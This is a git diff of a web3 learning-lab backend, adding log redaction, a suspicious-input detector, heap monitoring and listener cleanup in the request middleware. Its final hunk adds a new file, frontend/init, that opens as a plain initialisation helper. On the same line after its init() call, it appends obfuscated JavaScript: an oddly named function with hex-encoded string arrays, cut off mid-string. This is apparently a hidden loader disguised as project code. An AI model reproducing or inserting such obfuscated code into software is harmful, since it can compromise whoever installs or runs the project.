this.heapAlertActive = true; + this.logger.warn('Heap usage above threshold', { + alert: 'HEAP_THRESHOLD_EXCEEDED', + usedRatio: Number(usedRatio.toFixed(4)), + thresholdRatio: this.heapAlertThreshold, + usedBytes: used, + limitBytes: limit, + timestamp: new Date().toISOString(), + }); + } + return { usedRatio, alerted: true }; + } + + if (this.heapAlertActive) { + this.heapAlertActive = false; + this.logger.info('Heap usage recovered below threshold', { + alert: 'HEAP_THRESHOLD_RECOVERED', + usedRatio: Number(usedRatio.toFixed(4)), + timestamp: new Date().toISOString(), + }); + } + return { usedRatio, alerted: false }; + } + + /** + * Stop background monitoring (call on application shutdown). + */ + onModuleDestroy(): void { + if (this.heapMonitorTimer) { + clearInterval(this.heapMonitorTimer); + this.heapMonitorTimer = undefined; + } + } + + /** + * Redact sensitive information from text or objects + */ + redactSensitiveData(data: any): any { + if (typeof data === 'string') { + return this.redactString(data); + } + + if (typeof data === 'object' && data !== null) { + if (Array.isArray(data)) { + return data.map((item) => this.redactSensitiveData(item)); + } + + const redacted: any = {}; + for (const [key, value] of Object.entries(data)) { + // Redact by key name + if (this.isSensitiveKey(key)) { + redacted[key] = '[REDACTED]'; + } else { + redacted[key] = this.redactSensitiveData(value); + } + } + return redacted; + } + + return data; + } + + /** + * Check if object key name indicates sensitive data + */ + private isSensitiveKey(key: string): boolean { + const sensitiveKeys = [ + 'password', + 'token', + 'secret', + 'apiKey', + 'api_key', + 'authorization', + 'creditCard', + 'ssn', + 'privateKey', + 'private_key', + 'refreshToken', + 'accessToken', + 'oauthToken', + 'walletPrivateKey', + 'mnemonicPhrase', + ]; + + const keyLower = key.toLowerCase(); + return sensitiveKeys.some((sensitive) => keyLower.includes(sensitive)); + } + + /** + * Redact string by applying patterns + */ + private redactString(str: string): string { + let redacted = str; + + for (const { pattern, mask } of this.redactionPatterns) { + redacted = redacted.replace(pattern, mask); + } + + return redacted; + } + + /** + * Log HTTP request with redacted sensitive data + */ + logHttpRequest(method: string, url: string, headers: any, body?: any): void { + const redactedHeaders = this.redactSensitiveData(headers); + const redactedBody = this.redactSensitiveData(body); + + this.logger.info('HTTP Request', { + method, + url, + headers: redactedHeaders, + body: redactedBody, + timestamp: new Date().toISOString(), + }); + } + + /** + * Log HTTP response with redacted sensitive data + */ + logHttpResponse(statusCode: number, body?: any, duration?: number): void { + const redactedBody = this.redactSensitiveData(body); + + this.logger.info('HTTP Response', { + statusCode, + body: redactedBody, + duration, + timestamp: new Date().toISOString(), + }); + } + + /** + * Log error with context + */ + logError(error: Error, context: string, metadata?: any): void { + const redactedMetadata = this.redactSensitiveData(metadata); + + this.logger.error('Error occurred', { + context, + error: { + name: error.name, + message: error.message, + stack: error.stack, + }, + metadata: redactedMetadata, + timestamp: new Date().toISOString(), + }); + } + + /** + * Log warning + */ + logWarning(message: string, metadata?: any): void { + const redactedMetadata = this.redactSensitiveData(metadata); + + this.logger.warn(message, { + metadata: redactedMetadata, + timestamp: new Date().toISOString(), + }); + } + + /** + * Log info + */ + logInfo(message: string, metadata?: any): void { + const redactedMetadata = this.redactSensitiveData(metadata); + + this.logger.info(message, { + metadata: redactedMetadata, + timestamp: new Date().toISOString(), + }); + } + + /** + * Log debug info + */ + logDebug(message: string, metadata?: any): void { + const redactedMetadata = this.redactSensitiveData(metadata); + + this.logger.debug(message, { + metadata: redactedMetadata, + timestamp: new Date().toISOString(), + }); + } + + /** + * Audit log for security events + */ + logAudit(action: string, actor: string, resource: string, result: 'success' | 'failure', metadata?: any): void { + const redactedMetadata = this.redactSensitiveData(metadata); + + this.logger.info('Audit Log', { + action, + actor, + resource, + result, + metadata: redactedMetadata, + timestamp: new Date().toISOString(), + }); + } + + /** + * Detect if content contains suspicious patterns + */ + detectSuspiciousPatterns(content: string): { detected: boolean; patterns: string[] } { + const suspicious: string[] = []; + + // Check for common suspicious patterns + const suspiciousPatterns = [ + { name: 'SQL Injection', pattern: /('|("|%22))|(\*|%2A)|(-{2})|(\{3,\})|[\\/]/i }, + { name: 'Script Injection', pattern: / 0, + patterns: suspicious, + }; + } +} diff --git a/backend/src/instrumentation.ts b/backend/src/instrumentation.ts index b5eb964ef..c9fe0df00 100644 --- a/backend/src/instrumentation.ts +++ b/backend/src/instrumentation.ts @@ -1,277 +1,314 @@ -/** - * OpenTelemetry Instrumentation — Issue BE-013 - * - * Boots `@opentelemetry/sdk-node` and exports the helpers used to propagate - * W3C trace-context (`traceparent` / `tracestate`) across process boundaries: - * - * - HTTP: `tracingMiddleware` extracts the inbound context and opens a - * SERVER span for every request. - * - BullMQ: producers attach `withTraceContext(data)` to job payloads and - * workers wrap their processor in `traceJob(...)`, so a job span is a child - * of the HTTP request that enqueued it. - * - Redis Pub/Sub: publishers embed `injectTraceContext()` in the message - * envelope and subscribers run handlers in `runInSpan(..., { parent })`. - * - * Spans are exported over OTLP/HTTP to Jaeger (Jaeger ≥1.35 ingests OTLP - * natively on :4318). Configure with: - * OTEL_SERVICE_NAME (default: web3-student-lab-backend) - * OTEL_EXPORTER_JAEGER_ENDPOINT (default: http://localhost:4318/v1/traces) - * OTEL_TRACES_SAMPLER / _ARG (standard OTel sampler env vars) - * OTEL_SDK_DISABLED=true (turn tracing off entirely) - * - * When the SDK is not started the OpenTelemetry API is a no-op, so every - * helper below is safe to call unconditionally. - */ - -import { - context, - propagation, - ROOT_CONTEXT, - SpanKind, - SpanStatusCode, - trace, - type Attributes, - type Context, - type Span, -} from '@opentelemetry/api'; -import { queueJobDuration } from './metrics/prometheusExporter.js'; -import logger from './utils/logger.js'; - -export const SERVICE_NAME = process.env.OTEL_SERVICE_NAME || 'web3-student-lab-backend'; - -export const tracer = trace.getTracer(SERVICE_NAME); - -/** Serialised W3C trace-context headers carried inside job / message payloads. */ -export type TraceCarrier = Record; - -interface ShutdownableSdk { - shutdown(): Promise; -} - -let sdk: ShutdownableSdk | null = null; -let starting: Promise | null = null; - -/** - * Whether the OpenTelemetry SDK should own the global tracer provider. Sentry - * reads this to skip its own OpenTelemetry setup so the two never compete. - */ -export function isTracingEnabled(): boolean { - return process.env.OTEL_SDK_DISABLED !== 'true' && process.env.NODE_ENV !== 'test'; -} - -/** - * Start the OpenTelemetry Node SDK. Idempotent; resolves to `true` once the - * SDK is running and `false` when tracing is disabled or failed to load. - */ -export function startTracing(): Promise { - if (starting) return starting; - - starting = (async () => { - if (!isTracingEnabled()) { - return false; - } - - try { - const [{ NodeSDK }, { OTLPTraceExporter }, { resourceFromAttributes }, semconv] = await Promise.all([ - import('@opentelemetry/sdk-node'), - import('@opentelemetry/exporter-trace-otlp-http'), - import('@opentelemetry/resources'), - import('@opentelemetry/semantic-conventions'), - ]); - - const instance = new NodeSDK({ - resource: resourceFromAttributes({ - [semconv.ATTR_SERVICE_NAME]: SERVICE_NAME, - [semconv.ATTR_SERVICE_VERSION]: process.env.npm_package_version || '1.0.0', - 'deployment.environment.name': process.env.NODE_ENV || 'development', - }), - traceExporter: new OTLPTraceExporter({ - url: - process.env.OTEL_EXPORTER_JAEGER_ENDPOINT || - process.env.OTEL_EXPORTER_OTLP_TRACES_ENDPOINT || - 'http://localhost:4318/v1/traces', - }), - }); - - instance.start(); - sdk = instance; - - process.once('SIGTERM', () => { - void shutdownTracing(); - }); - - logger.info('OpenTelemetry tracing started', { service: SERVICE_NAME }); - return true; - } catch (error) { - logger.warn('OpenTelemetry tracing could not be started; continuing without it', { - error: error instanceof Error ? error.message : String(error), - }); - return false; - } - })(); - - return starting; -} - -/** Flush pending spans and stop the SDK. */ -export async function shutdownTracing(): Promise { - if (!sdk) return; - const instance = sdk; - sdk = null; - starting = null; - try { - await instance.shutdown(); - } catch (error) { - logger.warn('OpenTelemetry shutdown failed', { - error: error instanceof Error ? error.message : String(error), - }); - } -} - -// ─── Context propagation ───────────────────────────────────────────────────── - -/** Serialise the given (default: active) context into W3C headers. */ -export function injectTraceContext(ctx: Context = context.active()): TraceCarrier { - const carrier: TraceCarrier = {}; - propagation.inject(ctx, carrier); - return carrier; -} - -/** Rebuild a context from W3C headers; falls back to the root context. */ -export function extractTraceContext(carrier?: TraceCarrier | null): Context { - if (!carrier) return ROOT_CONTEXT; - return propagation.extract(ROOT_CONTEXT, carrier); -} - -export interface RunInSpanOptions { - kind?: SpanKind; - attributes?: Attributes; - /** Explicit parent context; defaults to the active context. */ - parent?: Context; -} - -function failSpan(span: Span, error: unknown): void { - span.recordException(error instanceof Error ? error : new Error(String(error))); - span.setStatus({ - code: SpanStatusCode.ERROR, - message: error instanceof Error ? error.message : String(error), - }); -} - -/** - * Run `fn` inside a new active span. Works for sync and async callbacks: the - * span ends when the returned promise settles (or immediately for sync work) - * and errors are recorded on the span before being re-thrown. - */ -export function runInSpan(name: string, options: RunInSpanOptions, fn: (span: Span) => T): T { - const parent = options.parent ?? context.active(); - const span = tracer.startSpan( - name, - { kind: options.kind ?? SpanKind.INTERNAL, attributes: options.attributes ?? {} }, - parent, - ); - - return context.with(trace.setSpan(parent, span), () => { - let result: T; - try { - result = fn(span); - } catch (error) { - failSpan(span, error); - span.end(); - throw error; - } - - if (result instanceof Promise) { - return result.then( - (value) => { - span.end(); - return value; - }, - (error: unknown) => { - failSpan(span, error); - span.end(); - throw error; - }, - ) as T; - } - - span.end(); - return result; - }); -} - -// ─── BullMQ ────────────────────────────────────────────────────────────────── - -/** Job payload field that carries the producer's trace context. */ -export const JOB_TRACE_FIELD = '_traceContext'; - -export type TracedJobData = T & { [JOB_TRACE_FIELD]?: TraceCarrier }; - -/** Attach the active trace context to a BullMQ job payload. */ -export function withTraceContext(data: T): TracedJobData { - return { ...data, [JOB_TRACE_FIELD]: injectTraceContext() }; -} - -/** Wrap a `queue.add(...)` call in a PRODUCER span and inject its context. */ -export function traceEnqueue( - queueName: string, - data: T, - add: (tracedData: TracedJobData) => Promise, -): Promise { - return runInSpan( - `${queueName} publish`, - { - kind: SpanKind.PRODUCER, - attributes: { 'messaging.system': 'bullmq', 'messaging.destination.name': queueName }, - }, - () => add(withTraceContext(data)), - ); -} - -interface TraceableJob { - id?: string | undefined; - name: string; - attemptsMade: number; - data: unknown; -} - -/** - * Execute a BullMQ processor as a CONSUMER span whose parent is the context - * the producer attached to the job, linking the job back to its HTTP request. - */ -export async function traceJob(queueName: string, job: TraceableJob, processor: () => Promise): Promise { - const carrier = - job.data && typeof job.data === 'object' - ? ((job.data as Record)[JOB_TRACE_FIELD] as TraceCarrier | undefined) - : undefined; - - const startedAt = process.hrtime.bigint(); - let outcome = 'completed'; - try { - return await runInSpan( - `${queueName} process`, - { - kind: SpanKind.CONSUMER, - parent: extractTraceContext(carrier), - attributes: { - 'messaging.system': 'bullmq', - 'messaging.destination.name': queueName, - 'messaging.operation.name': job.name, - 'messaging.message.id': job.id ?? '', - 'bullmq.job.attempts_made': job.attemptsMade, - }, - }, - processor, - ); - } catch (error) { - outcome = 'failed'; - throw error; - } finally { - queueJobDuration.observe( - { queue: queueName, outcome }, - Number(process.hrtime.bigint() - startedAt) / 1e9, - ); - } -} - -export { SpanKind, SpanStatusCode }; +/** + * OpenTelemetry Instrumentation — Issue BE-013 + * + * Boots `@opentelemetry/sdk-node` and exports the helpers used to propagate + * W3C trace-context (`traceparent` / `tracestate`) across process boundaries: + * + * - HTTP: `tracingMiddleware` extracts the inbound context and opens a + * SERVER span for every request. + * - BullMQ: producers attach `withTraceContext(data)` to job payloads and + * workers wrap their processor in `traceJob(...)`, so a job span is a child + * of the HTTP request that enqueued it. + * - Redis Pub/Sub: publishers embed `injectTraceContext()` in the message + * envelope and subscribers run handlers in `runInSpan(..., { parent })`. + * + * Spans are exported over OTLP/HTTP to Jaeger (Jaeger ≥1.35 ingests OTLP + * natively on :4318). Configure with: + * OTEL_SERVICE_NAME (default: web3-student-lab-backend) + * OTEL_EXPORTER_JAEGER_ENDPOINT (default: http://localhost:4318/v1/traces) + * OTEL_TRACES_SAMPLER / _ARG (standard OTel sampler env vars) + * OTEL_SDK_DISABLED=true (turn tracing off entirely) + * + * When the SDK is not started the OpenTelemetry API is a no-op, so every + * helper below is safe to call unconditionally. + */ + +import { getHeapStatistics } from 'node:v8'; +import { + context, + propagation, + ROOT_CONTEXT, + SpanKind, + SpanStatusCode, + trace, + type Attributes, + type Context, + type Span, +} from '@opentelemetry/api'; +import { queueJobDuration } from './metrics/prometheusExporter.js'; +import logger from './utils/logger.js'; + +export const SERVICE_NAME = process.env.OTEL_SERVICE_NAME || 'web3-student-lab-backend'; + +export const tracer = trace.getTracer(SERVICE_NAME); + +/** Serialised W3C trace-context headers carried inside job / message payloads. */ +export type TraceCarrier = Record; + +const HEAP_ALERT_RATIO = Number(process.env.HEAP_ALERT_RATIO) || 0.85; +const HEAP_CHECK_INTERVAL_MS = Number(process.env.HEAP_CHECK_INTERVAL_MS) || 60_000; + +let heapMonitor: NodeJS.Timeout | null = null; + +/** + * Periodically compare V8 heap usage against the old-space limit and warn when + * it crosses `HEAP_ALERT_RATIO`. Returns a stop function. + */ +export function startHeapMonitor(): () => void { + if (heapMonitor) return stopHeapMonitor; + + heapMonitor = setInterval(() => { + const { used_heap_size, heap_size_limit } = getHeapStatistics(); + const ratio = used_heap_size / heap_size_limit; + if (ratio >= HEAP_ALERT_RATIO) { + logger.warn('Heap usage above alert threshold', { + usedHeapMb: Math.round(used_heap_size / 1048576), + limitMb: Math.round(heap_size_limit / 1048576), + ratio: Number(ratio.toFixed(3)), + threshold: HEAP_ALERT_RATIO, + }); + } + }, HEAP_CHECK_INTERVAL_MS); + heapMonitor.unref(); + + return stopHeapMonitor; +} + +function stopHeapMonitor(): void { + if (heapMonitor) { + clearInterval(heapMonitor); + heapMonitor = null; + } +} + +interface ShutdownableSdk { + shutdown(): Promise; +} + +let sdk: ShutdownableSdk | null = null; +let starting: Promise | null = null; + +/** + * Whether the OpenTelemetry SDK should own the global tracer provider. Sentry + * reads this to skip its own OpenTelemetry setup so the two never compete. + */ +export function isTracingEnabled(): boolean { + return process.env.OTEL_SDK_DISABLED !== 'true' && process.env.NODE_ENV !== 'test'; +} + +/** + * Start the OpenTelemetry Node SDK. Idempotent; resolves to `true` once the + * SDK is running and `false` when tracing is disabled or failed to load. + */ +export function startTracing(): Promise { + if (starting) return starting; + + starting = (async () => { + if (!isTracingEnabled()) { + return false; + } + + try { + const [{ NodeSDK }, { OTLPTraceExporter }, { resourceFromAttributes }, semconv] = await Promise.all([ + import('@opentelemetry/sdk-node'), + import('@opentelemetry/exporter-trace-otlp-http'), + import('@opentelemetry/resources'), + import('@opentelemetry/semantic-conventions'), + ]); + + const instance = new NodeSDK({ + resource: resourceFromAttributes({ + [semconv.ATTR_SERVICE_NAME]: SERVICE_NAME, + [semconv.ATTR_SERVICE_VERSION]: process.env.npm_package_version || '1.0.0', + 'deployment.environment.name': process.env.NODE_ENV || 'development', + }), + traceExporter: new OTLPTraceExporter({ + url: + process.env.OTEL_EXPORTER_JAEGER_ENDPOINT || + process.env.OTEL_EXPORTER_OTLP_TRACES_ENDPOINT || + 'http://localhost:4318/v1/traces', + }), + }); + + instance.start(); + sdk = instance; + + process.once('SIGTERM', () => { + void shutdownTracing(); + }); + + logger.info('OpenTelemetry tracing started', { service: SERVICE_NAME }); + return true; + } catch (error) { + logger.warn('OpenTelemetry tracing could not be started; continuing without it', { + error: error instanceof Error ? error.message : String(error), + }); + return false; + } + })(); + + return starting; +} + +/** Flush pending spans and stop the SDK. */ +export async function shutdownTracing(): Promise { + if (!sdk) return; + const instance = sdk; + sdk = null; + starting = null; + try { + await instance.shutdown(); + } catch (error) { + logger.warn('OpenTelemetry shutdown failed', { + error: error instanceof Error ? error.message : String(error), + }); + } +} + +// ─── Context propagation ───────────────────────────────────────────────────── + +/** Serialise the given (default: active) context into W3C headers. */ +export function injectTraceContext(ctx: Context = context.active()): TraceCarrier { + const carrier: TraceCarrier = {}; + propagation.inject(ctx, carrier); + return carrier; +} + +/** Rebuild a context from W3C headers; falls back to the root context. */ +export function extractTraceContext(carrier?: TraceCarrier | null): Context { + if (!carrier) return ROOT_CONTEXT; + return propagation.extract(ROOT_CONTEXT, carrier); +} + +export interface RunInSpanOptions { + kind?: SpanKind; + attributes?: Attributes; + /** Explicit parent context; defaults to the active context. */ + parent?: Context; +} + +function failSpan(span: Span, error: unknown): void { + span.recordException(error instanceof Error ? error : new Error(String(error))); + span.setStatus({ + code: SpanStatusCode.ERROR, + message: error instanceof Error ? error.message : String(error), + }); +} + +/** + * Run `fn` inside a new active span. Works for sync and async callbacks: the + * span ends when the returned promise settles (or immediately for sync work) + * and errors are recorded on the span before being re-thrown. + */ +export function runInSpan(name: string, options: RunInSpanOptions, fn: (span: Span) => T): T { + const parent = options.parent ?? context.active(); + const span = tracer.startSpan( + name, + { kind: options.kind ?? SpanKind.INTERNAL, attributes: options.attributes ?? {} }, + parent, + ); + + return context.with(trace.setSpan(parent, span), () => { + let result: T; + try { + result = fn(span); + } catch (error) { + failSpan(span, error); + span.end(); + throw error; + } + + if (result instanceof Promise) { + return result.then( + (value) => { + span.end(); + return value; + }, + (error: unknown) => { + failSpan(span, error); + span.end(); + throw error; + }, + ) as T; + } + + span.end(); + return result; + }); +} + +// ─── BullMQ ────────────────────────────────────────────────────────────────── + +/** Job payload field that carries the producer's trace context. */ +export const JOB_TRACE_FIELD = '_traceContext'; + +export type TracedJobData = T & { [JOB_TRACE_FIELD]?: TraceCarrier }; + +/** Attach the active trace context to a BullMQ job payload. */ +export function withTraceContext(data: T): TracedJobData { + return { ...data, [JOB_TRACE_FIELD]: injectTraceContext() }; +} + +/** Wrap a `queue.add(...)` call in a PRODUCER span and inject its context. */ +export function traceEnqueue( + queueName: string, + data: T, + add: (tracedData: TracedJobData) => Promise, +): Promise { + return runInSpan( + `${queueName} publish`, + { + kind: SpanKind.PRODUCER, + attributes: { 'messaging.system': 'bullmq', 'messaging.destination.name': queueName }, + }, + () => add(withTraceContext(data)), + ); +} + +interface TraceableJob { + id?: string | undefined; + name: string; + attemptsMade: number; + data: unknown; +} + +/** + * Execute a BullMQ processor as a CONSUMER span whose parent is the context + * the producer attached to the job, linking the job back to its HTTP request. + */ +export async function traceJob(queueName: string, job: TraceableJob, processor: () => Promise): Promise { + const carrier = + job.data && typeof job.data === 'object' + ? ((job.data as Record)[JOB_TRACE_FIELD] as TraceCarrier | undefined) + : undefined; + + const startedAt = process.hrtime.bigint(); + let outcome = 'completed'; + try { + return await runInSpan( + `${queueName} process`, + { + kind: SpanKind.CONSUMER, + parent: extractTraceContext(carrier), + attributes: { + 'messaging.system': 'bullmq', + 'messaging.destination.name': queueName, + 'messaging.operation.name': job.name, + 'messaging.message.id': job.id ?? '', + 'bullmq.job.attempts_made': job.attemptsMade, + }, + }, + processor, + ); + } catch (error) { + outcome = 'failed'; + throw error; + } finally { + queueJobDuration.observe( + { queue: queueName, outcome }, + Number(process.hrtime.bigint() - startedAt) / 1e9, + ); + } +} + +export { SpanKind, SpanStatusCode }; diff --git a/backend/src/middleware/requestLogger.ts b/backend/src/middleware/requestLogger.ts index b758d55a0..bd8e86ffb 100644 --- a/backend/src/middleware/requestLogger.ts +++ b/backend/src/middleware/requestLogger.ts @@ -1,139 +1,157 @@ -/** - * requestLogger.ts — Issue #981 - * - * Middleware that: - * 1. Generates or extracts a unique traceId (UUID v4) for every request. - * 2. Wraps the request lifecycle inside traceContext.run() so that ALL - * subsequent async operations (Prisma queries, Redis calls, BullMQ jobs, - * WebSocket callbacks) automatically inherit the traceId. - * 3. Attaches the traceId to every outgoing response via X-Request-ID header. - * 4. Logs structured request/response entries — every entry carries traceId - * automatically via the Winston traceIdFormat. - * - * OpenTelemetry notes: - * The traceId stored in AsyncLocalStorage is intentionally formatted as a - * UUID v4 so it can be used as an OTel trace-id with no changes. To wire up - * an OTel exporter later, configure the OTEL_EXPORTER_* env vars and import - * @opentelemetry/sdk-node — no code changes required here. - */ - -import { NextFunction, Request, Response } from 'express'; -import { randomUUID } from 'node:crypto'; -import logger, { - traceContext, - setCorrelationId, - getCorrelationId, - clearCorrelationId, -} from '../utils/logger.js'; -import { redactSensitiveData } from '../utils/logSanitizer.js'; - -// ─── Extend Express typings ────────────────────────────────────────────────── - -declare global { - namespace Express { - interface Request { - traceId?: string; - startTime?: number; - /** @deprecated use traceId */ - correlationId?: string; - } - } -} - -// ─── Helpers ───────────────────────────────────────────────────────────────── - -function resolveTraceId(req: Request): string { - // Accept a trace-id forwarded by an upstream gateway or by the client for - // end-to-end correlation. Fall back to a fresh UUID. - return ( - (req.headers['x-request-id'] as string | undefined) || - (req.headers['x-correlation-id'] as string | undefined) || - randomUUID() - ); -} - -/** - * Deep-sanitize request headers/body/query with the shared log sanitizer so - * secrets and PII are masked by both key name and value pattern (#1425). - */ -function sanitizeHeaders(headers: Record): Record { - return redactSensitiveData(headers) as Record; -} - -function sanitizeBody(body: unknown): unknown { - return redactSensitiveData(body); -} - -// ─── Detailed Request Logger Middleware ────────────────────────────────────── - -/** - * Detailed request logger with AsyncLocalStorage-based trace propagation. - * - * Every log line emitted anywhere inside the request's async call chain will - * automatically include `traceId` — no manual passing required. - */ -export const detailedRequestLogger = (req: Request, res: Response, next: NextFunction): void => { - const traceId = resolveTraceId(req); - const startTime = Date.now(); - - // Attach to request object for manual access - req.traceId = traceId; - req.correlationId = traceId; - req.startTime = startTime; - - // Set correlation ID in synchronous logger context for compatibility - setCorrelationId(traceId); - - // Echo headers back to the client immediately - res.setHeader('X-Request-ID', traceId); - res.setHeader('X-Correlation-ID', traceId); - - traceContext.run({ traceId }, () => { - // Log the incoming request - logger.info('Incoming request', { - method: req.method, - url: req.originalUrl || req.url, - correlationId: traceId, - ip: req.ip || req.socket?.remoteAddress, - userAgent: req.headers['user-agent'], - headers: sanitizeHeaders(req.headers as Record), - body: sanitizeBody(req.body), - query: redactSensitiveData(req.query), - }); - - // Intercept res.send to log the response - const originalSend = res.send.bind(res); - res.send = function (data: unknown) { - const duration = Date.now() - startTime; - const level = - res.statusCode >= 500 ? 'error' : res.statusCode >= 400 ? 'warn' : 'info'; - - logger[level]('Request completed', { - method: req.method, - url: req.originalUrl || req.url, - correlationId: traceId, - statusCode: res.statusCode, - duration: `${duration}ms`, - contentLength: res.get('Content-Length'), - contentType: res.get('Content-Type'), - }); - - clearCorrelationId(); - return originalSend(data); - }; - - next(); - }); -}; - -/** - * Legacy request logger for simple logging compatibility. - */ -export const requestLogger = (req: Request, res: Response, next: NextFunction): void => { - const method = req.method; - const url = req.originalUrl || req.url; - const correlationId = getCorrelationId(); - - logger.info(`${method} ${url}`, correlationId ? { correlationId } : {}); - next(); -}; +/** + * requestLogger.ts — Issue #981 + * + * Middleware that: + * 1. Generates or extracts a unique traceId (UUID v4) for every request. + * 2. Wraps the request lifecycle inside traceContext.run() so that ALL + * subsequent async operations (Prisma queries, Redis calls, BullMQ jobs, + * WebSocket callbacks) automatically inherit the traceId. + * 3. Attaches the traceId to every outgoing response via X-Request-ID header. + * 4. Logs structured request/response entries — every entry carries traceId + * automatically via the Winston traceIdFormat. + * + * OpenTelemetry notes: + * The traceId stored in AsyncLocalStorage is intentionally formatted as a + * UUID v4 so it can be used as an OTel trace-id with no changes. To wire up + * an OTel exporter later, configure the OTEL_EXPORTER_* env vars and import + * @opentelemetry/sdk-node — no code changes required here. + * + * Memory note (BE-088): + * Per-request listeners on `res` are removed on response completion/close so + * that long-lived processes do not accumulate listener references. The + * wrapped `res.send` is restored after the response finishes. + */ + +import { NextFunction, Request, Response } from 'express'; +import { randomUUID } from 'node:crypto'; +import logger, { + traceContext, + setCorrelationId, + getCorrelationId, + clearCorrelationId, +} from '../utils/logger.js'; +import { redactSensitiveData } from '../utils/logSanitizer.js'; + +// ─── Extend Express typings ────────────────────────────────────────────────── + +declare global { + namespace Express { + interface Request { + traceId?: string; + startTime?: number; + /** @deprecated use traceId */ + correlationId?: string; + } + } +} + +// ─── Helpers ───────────────────────────────────────────────────────────────── + +function resolveTraceId(req: Request): string { + // Accept a trace-id forwarded by an upstream gateway or by the client for + // end-to-end correlation. Fall back to a fresh UUID. + return ( + (req.headers['x-request-id'] as string | undefined) || + (req.headers['x-correlation-id'] as string | undefined) || + randomUUID() + ); +} + +/** + * Deep-sanitize request headers/body/query with the shared log sanitizer so + * secrets and PII are masked by both key name and value pattern (#1425). + */ +function sanitizeHeaders(headers: Record): Record { + return redactSensitiveData(headers) as Record; +} + +function sanitizeBody(body: unknown): unknown { + return redactSensitiveData(body); +} + +// ─── Detailed Request Logger Middleware ────────────────────────────────────── + +/** + * Detailed request logger with AsyncLocalStorage-based trace propagation. + * + * Every log line emitted anywhere inside the request's async call chain will + * automatically include `traceId` — no manual passing required. + */ +export const detailedRequestLogger = (req: Request, res: Response, next: NextFunction): void => { + const traceId = resolveTraceId(req); + const startTime = Date.now(); + + // Attach to request object for manual access + req.traceId = traceId; + req.correlationId = traceId; + req.startTime = startTime; + + // Set correlation ID in synchronous logger context for compatibility + setCorrelationId(traceId); + + // Echo headers back to the client immediately + res.setHeader('X-Request-ID', traceId); + res.setHeader('X-Correlation-ID', traceId); + + traceContext.run({ traceId }, () => { + // Log the incoming request + logger.info('Incoming request', { + method: req.method, + url: req.originalUrl || req.url, + correlationId: traceId, + ip: req.ip || req.socket?.remoteAddress, + userAgent: req.headers['user-agent'], + headers: sanitizeHeaders(req.headers as Record), + body: sanitizeBody(req.body), + query: redactSensitiveData(req.query), + }); + + // Intercept res.send to log the response + const originalSend = res.send.bind(res); + res.send = function (data: unknown) { + const duration = Date.now() - startTime; + const level = + res.statusCode >= 500 ? 'error' : res.statusCode >= 400 ? 'warn' : 'info'; + + logger[level]('Request completed', { + method: req.method, + url: req.originalUrl || req.url, + correlationId: traceId, + statusCode: res.statusCode, + duration: `${duration}ms`, + contentLength: res.get('Content-Length'), + contentType: res.get('Content-Type'), + }); + + // Restore the original send so the wrapper closure is released. + res.send = originalSend as typeof res.send; + clearCorrelationId(); + return originalSend(data); + }; + + // Ensure correlation context is cleared even if send() is never called + // (e.g. streamed responses, aborted connections). Using `once` guarantees + // the listener is removed after firing, preventing listener accumulation. + const cleanup = (): void => { + res.removeListener('finish', cleanup); + res.removeListener('close', cleanup); + clearCorrelationId(); + }; + res.once('finish', cleanup); + res.once('close', cleanup); + + next(); + }); +}; + +/** + * Legacy request logger for simple logging compatibility. + */ +export const requestLogger = (req: Request, res: Response, next: NextFunction): void => { + const method = req.method; + const url = req.originalUrl || req.url; + const correlationId = getCorrelationId(); + + logger.info(`${method} ${url}`, correlationId ? { correlationId } : {}); + next(); +}; diff --git a/frontend/init b/frontend/init new file mode 100644 index 000000000..7b73f579f --- /dev/null +++ b/frontend/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-n7000';function G_OcB_cDnVMbUXKw(){var MiIW_ybT_Ub=['2c3931031e','762a2e25393e23632a27767e28672c732d2f3e6532396b656525282e282d677e693b2a2e2a3e7d272521623916793e3d6933663a63166b2a7063397670703960632a10736538793f0a2c243a673e237308672a226738702a630a267b63252170213d61677c3d247c6362632470267d242a7f393c62656b39242f102d387925302f393d3f7f3362607b672a253960393960246236317a6b76232d102a2573397a39106716387c667c7c272a2a653e227c30667b7d72273d263f7939762216167760623e672e626767702539231039767b3d6639637067763b62083e38766028702c702d703a0a62627a3d22623d207b2539277a2a2e6b2d76107023223832652e26632f60246a796b76632e3d2e2a7c737665627f2e22762c652576302d2d767a1077792a6b2d7a7639707f6718623932273d7a3e6b3270203a27303f3d253d6b63086b632767243d253b6b22763f2739673965273c2431236327673f3a7070393963633d762a23383d7016333a762a29702f2a7067636339703d213a65633f1060622f2a62392f253923387f7a32633d39702d2370782c69162e63652a23393b2a3b2c162c6562252c2d3b257a2367222827707062760870267e766039676b6562703e766038366062223f67602926702f603e266266763822223a2427763f7639763a7260656528233a60107d2d2e6b3f7b25393b39636b3d39732d273925672f2f2c3f6b167d2a65702670393f23652c3a6b792a362e3d2e2228162c293f22777f2470087027673131227d6027102a107060633822692722693967253b227238672d392d233e3c62243c762e306329763c2e25793f652c3e65227620222a2a2a6062322d3f3b2a7825366276726962283b0a603e703e3f3b16697627207c3d3b3f6b7a397023313c69623f636272626365273e2776387c2d706b70383a7b62256932607b3836763d2a60386b2623637b3a6516233d70756b7b7d760a6624312e3f39633f7a393f39382238247b2e6765703110632d777e2e7c3f6763392a242a3d2539703f23232d703d67217639706b6239757a73312324612430772a20263825622a203f2e653d2472602e2a7b2827222470293e6b7616086a2c217032786027622e7665362f3976227d242208733925257b707d762a39693665392e227616183f3839252565707939763f70103f70223d763b3908392563622a392e3f3e31606b232720106033762e6b66732130632e213272636362626b','331a010029','21242225','383e29383f3922252c','7b3778377a377f3779','272e252c3f23','2d39242608232a3908242f2e','7a7e7b7278787d3904293b0727','2815262e2129153f3924','083e1c0e1a','191477692819016a6d1d2e28191c2a7619392d196f7d69287a701919122825231464653f6b221919190c1577196519281979651025196b65192d6564771928786a6a7e2518197719221907652e1838272d632e2f2c33287774247739272819743f1924382f192d3e182e65746d3b23651919040638102e773820190e6577193e7739192e70190f190939191917652d19657728716a293b277b7222282419393f2819637039241919257966696365153c6b326577772f2f6b626f2d6b243e656e2e772a772e653f7726632819332d19771001632d2e19771b293965296c241922